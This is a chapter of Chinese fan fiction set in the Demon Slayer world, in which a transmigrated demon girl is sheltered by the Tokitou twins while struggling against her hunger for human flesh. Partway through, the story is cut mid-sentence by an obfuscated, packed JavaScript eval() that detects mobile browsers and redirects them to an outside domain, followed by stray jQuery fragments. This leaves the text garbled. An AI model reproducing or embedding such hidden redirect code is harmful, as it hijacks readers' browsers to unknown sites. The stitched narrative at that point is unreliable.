好饿……肚子里像有一团火在烧……
一轮圆月高悬在夜空,惨白的月光将树木光秃秃的枯枝印在地上,格外狰狞。
北风从树林间呼啸而过,细碎的雪花如盐粒子一般铺头盖脸的打在她的身上。
她却丝毫不觉得寒冷,只迈着蹒跚的步子,一步一步朝着山腰处的那间小木屋缓缓的走去。
那里散发着一种奇异的香味,仿佛能勾起她身体里最极致本能的食欲。
咯吱——咯吱——
她赤脚踩在雪上,每一步的声音都在这个空寂的夜晚里显得格外清晰,神志被饥饿吞噬,只知道像一个行尸走肉般机械地前进。
不知过了多久,她终于来到了木屋的门前。
这是一间不大的木屋,只有一居室,户外的棚子里堆着一些木材。
可能因为冬天的缘故,木材堆得满满当当的,作为过冬的储备。
屋子的门窗紧闭,里面没有一丝光亮,不过在这悄无声息的深夜里,是再正常不过的事情。
那无论如何也填不满的饥饿感,几乎燃烧掉她所有的力气。
但她还保有着最后一丝理智,没有贸然的闯进屋子里去。
她抬起手拍了拍木门,气若游丝地呼喊。
“有人在吗?”
没有人回应。
但那股奇异的香味一直萦绕在她的鼻尖,挥之不散。
终于,她的眼前一阵一阵的发黑,整个人不受控制地滑落到地上。
……
屋内是有人的。
自从父母离世后,时透无一郎时常会在半夜从睡梦中惊醒,今天也不例外。
只不过除了北风依旧挤在窗缝里嘶鸣以外,他似乎还听到了别的声音。
“哥哥,门外面好像有人。”
无一郎推了推身边睡得正香的兄长。
他们是双胞胎,从身形到面容几乎一模一样,令人难以分辨。
但是每当兄弟玩起那个猜谁是谁的游戏,哪怕是故意换上对方的衣服,做出同样的表情,都会被母亲一眼看出来。
倒是父亲,偶尔会猜错。
“大晚上的,哪会有什么人,你肯定听错了。”
在父母离世后,时透有一郎总是没什么耐心。
他自认作为长兄要承担起养家的责任,这份责任像一座大山一样,几乎要把十岁的他压垮。
因此面对被保护的很好的天真的弟弟,他总是感到力不从心。
“要不我们开门看一眼吧?”
“你在说什么蠢话,现在可是冬天,我们好不容易烧了炭让屋子里暖和一点,你一开门冷风全跑进来了。”
不耐烦地翻了个身,时透有一郎将本就不厚的被子裹得更紧了些。
“可是……”
万一真的有人呢,这么冷的天,肯定是遇到困难需要帮助才会来敲门吧。
无一郎有些担忧,但又不敢反驳兄长的话。
这个家里只剩他们两个了,哥哥好像不太喜欢他,对他的态度一直都很差,让他有些难过。
“难道你想像母亲一样生病发烧吗?快睡觉,明天还要下山去买东西。”
有一郎皱起眉,没好气地斥道,作为兄长,他时常对弟弟善良单纯的想法感到烦躁,
“……哦。”
提起母亲,无一郎不免沉默下来。
他将被子拉过鼻尖,只留了一双雾蒙蒙的天青色眼睛露在外面,不知在想些什么。
虽然听话睡觉,但无一郎心中还是存着忧虑的,一直没睡安稳。
在天边泛出第一缕青白色的时候,他就一骨碌从榻上爬起来,套上外套,轻手轻脚地走到门口。
拨开了冻的冷硬的门闩,开了一条小缝,寒风猛地钻了进来,吹得他一个哆嗦。
他往外瞧了一眼。
院子里白茫茫的一片,什么都没有,他松了口气,收回眼神,不经意地往下一扫。
“哥哥!有个女孩子躺在门口!”
“……什么?!”
……
灶上炖着粥,米饭的香甜气息浸润了暖烘烘的屋子的每一个角落。
窗子开了个小缝隙透气,窗外冰凌凌的空气从缝隙里偷偷溜进来,呜呜作响。
这件屋子里除了她,没有别人,显然屋主有事出门了。
真是心大,竟然敢放她一个素未蒙面的陌生人独自在家,也不怕她做什么坏事。
今月裹了一床薄薄的被子蜷缩在榻上的墙角里,可能是饿过了头,她现在异常的清醒。
她不是这个世界的人。
在因病去世后被系统绑定,完成一定的任务她就可以选择回到自己的世界,并且得到一个健康的身体。
这里是她最后一个任务世界。
不知道出了什么差错,几天前她刚刚落地时,系统像是出了bug一样。
主界面打不开,只有视野上方一个半透明的电子屏幕显示着她的任务。
【消灭鬼舞辻无惨,0/1】
身份不明,剧情未知,她连自己身处何时何地都不知道,甚至本该从上个世界带过来的自保技能也没有了。
现在就这么一句话,让她上哪找人去?
鬼舞辻无惨,这谁?
更别说屋漏偏逢连夜雨。
她很快就察觉到这具身体的异常。
虽然有人形,但是牙齿和指甲格外尖利,眼睛还是竖瞳,一看就不是人类。
好在她及时发现自己可以自由变换外貌,隐藏起这些非人的特征。
但是另一个危机就不是那么好解决的了。
每当她碰到阳光就会感觉像被火烧一样有种灼烧的疼痛,皮肤会快速泛红发黑。
原以为是紫外线过敏,但很快她就知道根本不是这回事。
在接触到阳光的那一刹那,脑海中似乎有个声音在警告,快逃,逃到黑暗中去,不然会死。
最要命的是,她发现人肉对她有致命的吸引力。
最先的落地点在一个小镇外面,循着香味进到镇上。
有好心的婆婆以为她是无家可归的乞儿,施舍了好几个饭团给她,但是完全不顶饿。
直到她发现散发香味的是那些活人,她才连夜逃进了深山里。
她好像变成了个会吃人的怪物。
想到这点,她脸色一沉,捏紧了手中的被角。
咕噜咕噜……
煮开了的粥冒着泡泡,铁锅的边缘溢出点点奶白色的粥水,眼见着就要扑出来了。
回过神来,她条件反射般冲下床,一把将锅盖掀了起来。
翻涌的泡沫接触到冷空气,逐渐消散,露出了沸腾的白粥。
连带着她一时鼓胀的心跳也平缓下来。
还好……
她轻按着胸口,也不知道在庆幸什么。
锅里煮着东西就代表人不会离开太久,她的心思开始游离不定,不安渐渐从心底漫上来。
等屋主回来,她可能会失去理智,被本能和欲望裹挟做出一些无可挽回的事情。
走过了许多世界,手上也不是没染过鲜血,但是用无辜之人
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326192|183236||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
成全自己的苟活,绝对是她无法接受的事情。
将锅盖架到一边,她掀开木窗朝外面看了一眼,或许她该离开这里。
可是外面天光大亮,一旦出去,她必死无疑。
或者可以找个东西挡一下?
正在这当口,门口传来“吱呀”一声响,寒风簌簌地裹挟着雪花飘了进来。
一个穿着白底青云纹和服的小小身影钻了进来,发顶和肩上还落了些碎雪。
他背后背着一个大大的藤筐,里面装满了蔬菜,乍一看有五六种,最多的是萝卜,其余还有些牛蒡、芋头、白菜之类的。
没来得及注意到屋内的情况,他刚一进门就转过身,连背篓都来不及放下,把门开得更大了些。
“哥哥,快进来,屋里暖和!”
“知道了,你快把门关上,我放好木柴就来。”
屋外传来一声应和,声线听起来和他一样,就是语气更严肃一些。
将门虚掩上,他转过身才看到昨天救下来的女孩已经醒了,正站在灶台前面,一脸慌张地看着他,锅里的粥还在翻滚。
“你醒啦!”他欢快地笑了一声,天青色的眼睛亮闪闪的,“感觉好些了吗?要不要先吃点东西?”
好香的味道……
她的眼神有一瞬间的迷离,但很快就清醒过来。
啪!
时透无一郎刚刚把背篓放在了靠门口的地上,抬头就看到对方狠狠地扇了自己一巴掌。
白皙的脸上立刻浮现出了红色的手掌印记,可见她对自己一点都没有收着力。
!
他睁大了眼,就想凑上前去阻止,生怕对方继续伤害自己。
“别过来!”往后退了两步,她的后背抵上了冰冷的墙壁,腿有些发软。
不动声色地将手背在身后,她握紧了拳头,指甲深深陷入了掌心,一抹血色顺着她的指节蜿蜒流淌。
奇异的香味在空气中浮动,像浪潮般往她鼻子里钻,让她有些头晕目眩起来。
她该走了,有个小小的声音在心底提醒她。
“喂,你那是什么态度!”
不知何时,时透有一郎也进了屋子,他拿过门闩将门锁好,把冬日里的寒风拒之门外,转过身靠在门上,拧着眉。
“抱歉,”定了定神,她勉强扯出了一个笑容,“谢谢你们救了我。”
她不知道自己如今在他人眼中是一副怎样的狼狈模样。
长发凌乱,衣衫不整,没有血色的脸上一个红色的巴掌印令人瞩目,她的眼中满是茫然,嘴角笑容也摇摇欲坠。
任是谁见了都不会忍下心苛责她的,毕竟她看起来像是遭遇了很多不好的事情。
“哥哥,你别凶她。”
时透无一郎呼出一口气,回身挡在了她身前,不赞同地看着兄长。
时透有一郎皱了皱眉,移开了目光,“先吃饭吧。”
他语气硬邦邦的,弯腰拎起弟弟背回来的藤筐,开始收拾整理带回来的物资。
无一郎松了口气,退开两步,天青色的发尾随着他的动作轻柔地晃动。
他转头看向她,大而圆的眼瞳里是她从未见过的清澈纯净的眼神。
“姐姐先去地炉那边坐着吧,我去盛饭。”
该走吗?
或许是手心的痛觉让她找回了理智,视野逐渐清晰,她垂下眼睫,木板组成的坐台纹路清晰。
无声地呼出一口凉气,她顿时感觉脑袋澄净了不少。
求生是人的本能。
再等等,天黑再走吧。